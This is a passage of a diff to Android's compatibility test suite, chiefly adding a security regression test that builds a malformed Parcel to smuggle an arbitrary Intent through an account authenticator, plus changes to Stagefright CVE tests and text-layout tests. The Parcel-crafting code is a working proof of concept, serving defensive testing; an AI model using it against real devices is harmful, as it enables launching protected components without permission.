+ Log.i(TAG, "Arbitrary action starts...");
+
+ Intent intent = new Intent();
+
+ intent.setComponent(new ComponentName(
+ "android.security.cts",
+ "android.security.cts.NanoAppBundleTest$FailActivity"));
+ intent.setAction(Intent.ACTION_RUN);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+ Authenticator.setIntent(intent);
+
+ trigger();
+
+ Log.i(TAG, "Arbitrary action finished.");
+ }
+ }
+
+ // customized activity
+ public static class FailActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle onSavedInstanceState) {
+ super.onCreate(onSavedInstanceState);
+
+ fail("Arbitrary intent executed");
+ }
+ }
+
+ //
+ // Authenticator class
+ //
+ public static class Authenticator extends AbstractAccountAuthenticator {
+
+ private static final String TAG = "Authenticator";
+
+ // mAddAccountDone : flag set to check if the buggy part is got run
+ private boolean mAddAccountDone;
+ public boolean isAddAccountDone() {
+ return mAddAccountDone;
+ }
+ public void setAddAccountDone(boolean isDone) {
+ mAddAccountDone = isDone;
+ }
+
+ // mAuthContext
+ private static Context mAuthContext;
+ public static Context getAuthContext() {
+ return mAuthContext;
+ }
+
+ // mIntent : set from Trigger or setPIN
+ private static Intent mIntent;
+ public static Intent getIntent() {
+ return mIntent;
+ }
+ public static void setIntent(Intent intent) {
+ mIntent = intent;
+ }
+
+ // Authenticator ctor
+ public Authenticator(Context context) {
+ super(context);
+ setAddAccountDone(false);
+ Authenticator.mAuthContext = context;
+ }
+
+ @Override
+ public String getAuthTokenLabel(String authTokenType) {
+ return null;
+ }
+
+ @Override
+ public Bundle editProperties(AccountAuthenticatorResponse accountAuthenticatorResponse,
+ String accountType) {
+ return null;
+ }
+
+ @Override
+ public Bundle getAuthToken(AccountAuthenticatorResponse accountAuthenticatorResponse,
+ Account account,
+ String authTokenType,
+ Bundle bundle) {
+ return null;
+ }
+
+ @Override
+ public Bundle addAccount(AccountAuthenticatorResponse response,
+ String accountType,
+ String authTokenType,
+ String[] requiredFeatures,
+ Bundle options) {
+ try {
+ Log.i(TAG, String.format("addAccount start...accountType = %s, authTokenType = %s",
+ accountType, authTokenType));
+ Bundle bundle = new Bundle();
+ Parcel parcel = GenMalformedParcel.nanoAppFilterParcel(mIntent);
+ bundle.readFromParcel(parcel);
+ parcel.recycle();
+ setAddAccountDone(true);
+ Log.i(TAG, "addAccount finished");
+ return bundle;
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ return null;
+ }
+
+ @Override
+ public Bundle confirmCredentials(AccountAuthenticatorResponse accountAuthenticatorResponse,
+ Account account,
+ Bundle bundle) {
+ return null;
+ }
+
+ @Override
+ public Bundle updateCredentials(AccountAuthenticatorResponse accountAuthenticatorResponse,
+ Account account,
+ String authTokenType,
+ Bundle bundle) {
+ return null;
+ }
+
+ @Override
+ public Bundle hasFeatures(AccountAuthenticatorResponse accountAuthenticatorResponse,
+ Account account,
+ String[] features) {
+ return null;
+ }
+ }
+
+ //
+ // AuthenticatorService
+ //
+ public static class AuthenticatorService extends Service {
+
+ private static final String TAG = "AuthenticatorService";
+
+ private Authenticator mAuthenticator;
+ public Authenticator getAuthenticator() {
+ return mAuthenticator;
+ }
+
+ private IBinder mBinder;
+ public IBinder getServiceBinder() {
+ return mBinder;
+ }
+
+ public AuthenticatorService() {
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ // critical:here have to pass the service context to authenticator, not mContext
+ Log.i(TAG, "creating...");
+ mAuthenticator = new Authenticator(this);
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ try {
+ Log.i(TAG, "Bind starting...");
+ IBinder binder = mAuthenticator.getIBinder();
+ mBinder = binder;
+ Log.i(TAG, "Bind finished.");
+ return binder;
+ } catch (Exception e) {
+ Log.i(TAG, "Bind exception");
+ e.printStackTrace();
+ }
+ return null;
+ }
+ }
+
+ //
+ // GenMalformedParcel
+ //
+ public static class GenMalformedParcel {
+
+ public static Parcel nanoAppFilterParcel(Intent intent) {
+ Parcel data = Parcel.obtain();
+ int bundleLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ data.writeInt(0x4C444E42);
+ int bundleStartPos = data.dataPosition();
+ data.writeInt(3);
+
+ data.writeString(SECURITY_CTS_PACKAGE_NAME);
+ data.writeInt(4);
+ data.writeString("android.hardware.location.NanoAppFilter");
+ data.writeLong(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(13);
+
+ int byteArrayLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ int byteArrayStartPos = data.dataPosition();
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeString(AccountManager.KEY_INTENT);
+ data.writeInt(4);
+ data.writeString("android.content.Intent");
+ intent.writeToParcel(data, 0);
+ int byteArrayEndPos = data.dataPosition();
+ data.setDataPosition(byteArrayLenPos);
+ int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+ data.writeInt(byteArrayLen);
+ data.setDataPosition(byteArrayEndPos);
+
+ int bundleEndPos = data.dataPosition();
+ data.setDataPosition(bundleLenPos);
+ int bundleLen = bundleEndPos - bundleStartPos;
+ data.writeInt(bundleLen);
+ data.setDataPosition(0);
+
+ return data;
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index 283910b..ee383b2 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -52,11 +52,9 @@
PackageManager packageManager = mContext.getPackageManager();
List<PackageInfo> allPackageInfos = packageManager.getInstalledPackages(
PackageManager.GET_UNINSTALLED_PACKAGES |
- PackageManager.GET_SIGNATURES |
- PackageManager.MATCH_APEX);
+ PackageManager.GET_SIGNATURES);
for (PackageInfo packageInfo : allPackageInfos) {
String packageName = packageInfo.packageName;
- Log.v(TAG, "Scanning " + packageName);
if (packageName != null && !isWhitelistedPackage(packageName)) {
for (Signature signature : packageInfo.signatures) {
if (wellKnownSignatures.contains(signature)) {
@@ -82,20 +80,6 @@
wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_platform));
wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_shared));
wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_networkstack));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_android_conscrypt));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_android_media));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_android_media_swcodec));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_android_resolv));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_android_runtime_debug));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_android_runtime_release));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_android_tzdata));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_conscrypt));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_media));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_media_swcodec));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_resolv));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_debug));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_release));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata));
return wellKnownSignatures;
}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 67918b2..20c7632 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -111,17 +111,17 @@
@SecurityTest(minPatchLevel = "2016-08")
public void testStagefright_cve_2016_3829() throws Exception {
- doStagefrightTest(R.raw.cve_2016_3829);
+ doStagefrightTest(R.raw.cve_2016_3829, false);
}
@SecurityTest(minPatchLevel = "2017-06")
public void testStagefright_cve_2017_0643() throws Exception {
- doStagefrightTest(R.raw.cve_2017_0643);
+ doStagefrightTest(R.raw.cve_2017_0643, false);
}
@SecurityTest(minPatchLevel = "2017-08")
public void testStagefright_cve_2017_0728() throws Exception {
- doStagefrightTest(R.raw.cve_2017_0728);
+ doStagefrightTest(R.raw.cve_2017_0728, false);
}
@SecurityTest(minPatchLevel = "2017-10")
@@ -161,7 +161,7 @@
@SecurityTest(minPatchLevel = "2017-06")
public void testStagefright_bug_35763994() throws Exception {
- doStagefrightTest(R.raw.bug_35763994);
+ doStagefrightTest(R.raw.bug_35763994, false);
}
@SecurityTest(minPatchLevel = "2017-03")
@@ -171,7 +171,7 @@
@SecurityTest(minPatchLevel = "2017-07")
public void testStagefright_cve_2016_2507() throws Exception {
- doStagefrightTest(R.raw.cve_2016_2507);
+ doStagefrightTest(R.raw.cve_2016_2507, false);
}
@SecurityTest(minPatchLevel = "2017-03")
@@ -266,13 +266,13 @@
@SecurityTest(minPatchLevel = "2017-02")
public void testStagefright_cve_2016_2429_b_27211885() throws Exception {
- doStagefrightTest(R.raw.cve_2016_2429_b_27211885);
+ doStagefrightTest(R.raw.cve_2016_2429_b_27211885, false);
}
@SecurityTest(minPatchLevel = "2017-08")
public void testStagefright_bug_34031018() throws Exception {
- doStagefrightTest(R.raw.bug_34031018_32bit);
- doStagefrightTest(R.raw.bug_34031018_64bit);
+ doStagefrightTest(R.raw.bug_34031018_32bit, false);
+ doStagefrightTest(R.raw.bug_34031018_64bit, false);
}
/***********************************************************
@@ -297,7 +297,7 @@
@SecurityTest(minPatchLevel = "2018-01")
public void testStagefright_cve_2017_0852_b_62815506() throws Exception {
- doStagefrightTest(R.raw.cve_2017_0852_b_62815506);
+ doStagefrightTest(R.raw.cve_2017_0852_b_62815506, false);
}
@SecurityTest(minPatchLevel = "2018-02")
@@ -323,7 +323,7 @@
@SecurityTest(minPatchLevel = "2016-10")
public void testStagefright_cve_2016_3920() throws Exception {
- doStagefrightTest(R.raw.cve_2016_3920);
+ doStagefrightTest(R.raw.cve_2016_3920, false);
}
@SecurityTest(minPatchLevel = "2018-06")
@@ -338,7 +338,7 @@
@SecurityTest(minPatchLevel = "2016-08")
public void testStagefright_cve_2016_3821() throws Exception {
- doStagefrightTest(R.raw.cve_2016_3821);
+ doStagefrightTest(R.raw.cve_2016_3821, false);
}
@SecurityTest(minPatchLevel = "2018-04")
@@ -358,12 +358,12 @@
@SecurityTest(minPatchLevel = "2017-09")
public void testStagefright_bug_38115076() throws Exception {
- doStagefrightTest(R.raw.bug_38115076);
+ doStagefrightTest(R.raw.bug_38115076, false);
}
@SecurityTest(minPatchLevel = "2017-05")
public void testStagefright_bug_34618607() throws Exception {
- doStagefrightTest(R.raw.bug_34618607);
+ doStagefrightTest(R.raw.bug_34618607, false);
}
@SecurityTest(minPatchLevel = "2018-02")
@@ -388,7 +388,7 @@
@SecurityTest(minPatchLevel = "2017-05")
public void testStagefright_cve_2017_0600() throws Exception {
- doStagefrightTest(R.raw.cve_2017_0600);
+ doStagefrightTest(R.raw.cve_2017_0600, false);
}
@SecurityTest(minPatchLevel = "2017-08")
@@ -424,7 +424,7 @@
@SecurityTest(minPatchLevel = "2017-03")
public void testBug_33387820() throws Exception {
int[] frameSizes = {45, 3202, 430, 2526};
- doStagefrightTestRawBlob(R.raw.bug_33387820_avc, "video/avc", 320, 240, frameSizes);
+ doStagefrightTestRawBlob(R.raw.bug_33387820_avc, "video/avc", 320, 240, frameSizes, false);
}
@SecurityTest(minPatchLevel = "2017-07")
@@ -460,7 +460,8 @@
@SecurityTest(minPatchLevel = "2016-08")
public void testBug_28816956() throws Exception {
int[] frameSizes = getFrameSizes(R.raw.bug_28816956_framelen);
- doStagefrightTestRawBlob(R.raw.bug_28816956_hevc, "video/hevc", 352, 288, frameSizes);
+ doStagefrightTestRawBlob(
+ R.raw.bug_28816956_hevc, "video/hevc", 352, 288, frameSizes, false);
}
@SecurityTest(minPatchLevel = "2017-03")
@@ -495,7 +496,7 @@
@SecurityTest(minPatchLevel = "2017-05")
public void testStagefright_cve_2017_0599() throws Exception {
- doStagefrightTest(R.raw.cve_2017_0599);
+ doStagefrightTest(R.raw.cve_2017_0599, false);
}
@SecurityTest(minPatchLevel = "2017-09")
@@ -525,7 +526,7 @@
@SecurityTest(minPatchLevel = "2017-09")
public void testStagefright_cve_2016_6712() throws Exception {
- doStagefrightTest(R.raw.cve_2016_6712);
+ doStagefrightTest(R.raw.cve_2016_6712, false);
}
@SecurityTest(minPatchLevel = "2017-04")
@@ -551,12 +552,12 @@
@SecurityTest(minPatchLevel = "2017-06")
public void testStagefright_bug_33818508() throws Exception {
- doStagefrightTest(R.raw.bug_33818508);
+ doStagefrightTest(R.raw.bug_33818508, false);
}
@SecurityTest(minPatchLevel = "2017-08")
public void testStagefright_bug_32873375() throws Exception {
- doStagefrightTest(R.raw.bug_32873375);
+ doStagefrightTest(R.raw.bug_32873375, false);
}
@SecurityTest(minPatchLevel = "2018-02")
@@ -619,7 +620,7 @@
@SecurityTest(minPatchLevel = "2016-06")
public void testStagefright_cve_2016_2428() throws Exception {
- doStagefrightTest(R.raw.cve_2016_2428);
+ doStagefrightTest(R.raw.cve_2016_2428, false);
}
@SecurityTest(minPatchLevel = "2016-07")
@@ -657,7 +658,7 @@
@Override
public void run() {
try {
- doStagefrightTestMediaCodec(tempFile.getAbsolutePath());
+ doStagefrightTestMediaCodec(tempFile.getAbsolutePath(), false);
} catch (Exception | AssertionError e) {
if (!tempFile.delete()) {
Log.e(TAG, "Failed to delete temporary PoC file");
@@ -682,7 +683,7 @@
@SecurityTest(minPatchLevel = "2017-06")
public void testStagefright_bug_32322258() throws Exception {
- doStagefrightTest(R.raw.bug_32322258);
+ doStagefrightTest(R.raw.bug_32322258, false);
}
@SecurityTest(minPatchLevel = "2015-10")
@@ -712,7 +713,7 @@
@SecurityTest(minPatchLevel = "2015-10")
public void testStagefright_cve_2015_3862_b_22954006() throws Exception {
- doStagefrightTest(R.raw.cve_2015_3862_b_22954006);
+ doStagefrightTest(R.raw.cve_2015_3862_b_22954006, false);
}
@SecurityTest(minPatchLevel = "2015-10")
@@ -777,12 +778,12 @@
@SecurityTest(minPatchLevel = "2016-07")
public void testStagefright_cve_2016_3755() throws Exception {
- doStagefrightTest(R.raw.cve_2016_3755);
+ doStagefrightTest(R.raw.cve_2016_3755, false);
}
@SecurityTest(minPatchLevel = "2016-09")
public void testStagefright_cve_2016_3878_b_29493002() throws Exception {
- doStagefrightTest(R.raw.cve_2016_3878_b_29493002);
+ doStagefrightTest(R.raw.cve_2016_3878_b_29493002, false);
}
@SecurityTest(minPatchLevel = "2017-08")
@@ -802,12 +803,12 @@
@SecurityTest(minPatchLevel = "2016-06")
public void testStagefright_bug_27855419_CVE_2016_2463() throws Exception {
- doStagefrightTest(R.raw.bug_27855419);
+ doStagefrightTest(R.raw.bug_27855419, false);
}
@SecurityTest(minPatchLevel = "2015-11")
public void testStagefright_bug_19779574() throws Exception {
- doStagefrightTest(R.raw.bug_19779574);
+ doStagefrightTest(R.raw.bug_19779574, false);
}
/***********************************************************
@@ -868,8 +869,11 @@
Thread server = new Thread() {
@Override
public void run() {
- try (ServerSocket serverSocket = new ServerSocket(8080);
- Socket conn = serverSocket.accept()) {
+ try (ServerSocket serverSocket = new ServerSocket(8080) {
+ {setSoTimeout(10_000);} // time out after 10 seconds
+ };
+ Socket conn = serverSocket.accept();
+ ) {
OutputStream outputstream = conn.getOutputStream();
InputStream inputStream = conn.getInputStream();
byte input[] = new byte[65536];
@@ -978,7 +982,7 @@
@SecurityTest(minPatchLevel = "2016-12")
public void testStagefright_cve_2016_6764() throws Exception {
- doStagefrightTest(R.raw.cve_2016_6764);
+ doStagefrightTest(R.raw.cve_2016_6764, false);
}
@SecurityTest(minPatchLevel = "2018-01")
@@ -988,7 +992,7 @@
@SecurityTest(minPatchLevel = "2017-06")
public void testStagefright_bug_35467107() throws Exception {
- doStagefrightTest(R.raw.bug_35467107);
+ doStagefrightTest(R.raw.bug_35467107, false);
}
/***********************************************************
@@ -1086,12 +1090,12 @@
@SecurityTest(minPatchLevel = "2016-12")
public void testStagefright_cve_2016_6765() throws Exception {
- doStagefrightTest(R.raw.cve_2016_6765);
+ doStagefrightTest(R.raw.cve_2016_6765, false);
}
@SecurityTest(minPatchLevel = "2016-07")
public void testStagefright_cve_2016_2508() throws Exception {
- doStagefrightTest(R.raw.cve_2016_2508);
+ doStagefrightTest(R.raw.cve_2016_2508, false);
}
@SecurityTest(minPatchLevel = "2016-11")
@@ -1111,7 +1115,7 @@
@SecurityTest(minPatchLevel = "2016-09")
public void testStagefright_cve_2016_3879() throws Exception {
- doStagefrightTest(R.raw.cve_2016_3879);
+ doStagefrightTest(R.raw.cve_2016_3879, false);
}
private void doStagefrightTest(final int rid) throws Exception {
@@ -1792,7 +1796,7 @@
@SecurityTest(minPatchLevel = "2017-08")
public void testBug36816007() throws Exception {
- doStagefrightTestRawBlob(R.raw.bug_36816007, "video/avc", 320, 240);
+ doStagefrightTestRawBlob(R.raw.bug_36816007, "video/avc", 320, 240, false);
}
@SecurityTest(minPatchLevel = "2017-05")
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
index 56a6c85..12a4271 100644
--- a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
@@ -33,6 +33,7 @@
import android.graphics.Paint.FontMetricsInt;
import android.graphics.Typeface;
import android.os.LocaleList;
+import android.platform.test.annotations.SecurityTest;
import android.text.Editable;
import android.text.Layout;
import android.text.Layout.Alignment;
@@ -1681,4 +1682,33 @@
end = LOREM_IPSUM.length();
testLineBackgroundSpanInRange(LOREM_IPSUM, start, end);
}
+
+ // This is for b/140755449
+ @SecurityTest
+ @Test
+ public void testBidiVisibleEnd() {
+ TextPaint paint = new TextPaint();
+ // The default text size is too small and not useful for handling line breaks.
+ // Make it bigger.
+ paint.setTextSize(32);
+
+ final String input = "\u05D0aaaaaa\u3000 aaaaaa";
+ // To make line break happen, pass slightly shorter width from the full text width.
+ final int lineBreakWidth = (int) (paint.measureText(input) * 0.8);
+ final StaticLayout layout = StaticLayout.Builder.obtain(
+ input, 0, input.length(), paint, lineBreakWidth).build();
+
+ // Make sure getLineMax won't cause crashes.
+ // getLineMax eventually calls TextLine.measure which was the problematic method.
+ layout.getLineMax(0);
+
+ final Bitmap bmp = Bitmap.createBitmap(
+ layout.getWidth(),
+ layout.getHeight(),
+ Bitmap.Config.RGB_565);
+ final Canvas c = new Canvas(bmp);
+ // Make sure draw won't cause crashes.
+ // draw eventualy calls TextLine.draw which was the problematic method.
+ layout.draw(c);
+ }
}
diff --git a/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java b/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
index e19dfe8..34ffd76 100644
--- a/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
@@ -263,8 +263,18 @@
assertTrue(mTextView.getScrollY() > previousScrollY);
assertTrue(mTextView.getScrollX() < bottom);
+ assertTrue(getActionResult(new ActionRunnerWithResult() {
+ public void run() {
+ // move back up for the next test
+ mResult = method.onTouchEvent(mTextView, mSpannable, MotionEvent.obtain(now, now,
+ MotionEvent.ACTION_MOVE, 0, -distFar, 0));
+ }
+ }));
+
previousScrollY = mTextView.getScrollY();
- final int distTooFar = (int) (-bottom * 10);
+ // further detracting mScaledTouchSlop from (-bottom * 10) so it is guaranteed to be
+ // greater than the touch slop value.
+ final int distTooFar = (int) (-bottom * 10) - mScaledTouchSlop;
assertTrue(getActionResult(new ActionRunnerWithResult() {
public void run() {
// move for long distance
diff --git a/tests/tests/transition/res/values/styles.xml b/tests/tests/transition/res/values/styles.xml
index 00303c9..be2272e 100644
--- a/tests/tests/transition/res/values/styles.xml
+++ b/tests/tests/transition/res/values/styles.xml
@@ -14,7 +14,7 @@
limitations under the License.
-->
<resources xmlns:android="http://schemas.android.com/apk/res/android">
- <style name="Theme_NoSwipeDismiss">
+ <style name="Theme_NoSwipeDismiss" parent="android:Theme.DeviceDefault">
<item name="android:windowSwipeToDismiss">false</item>
</style>
</resources>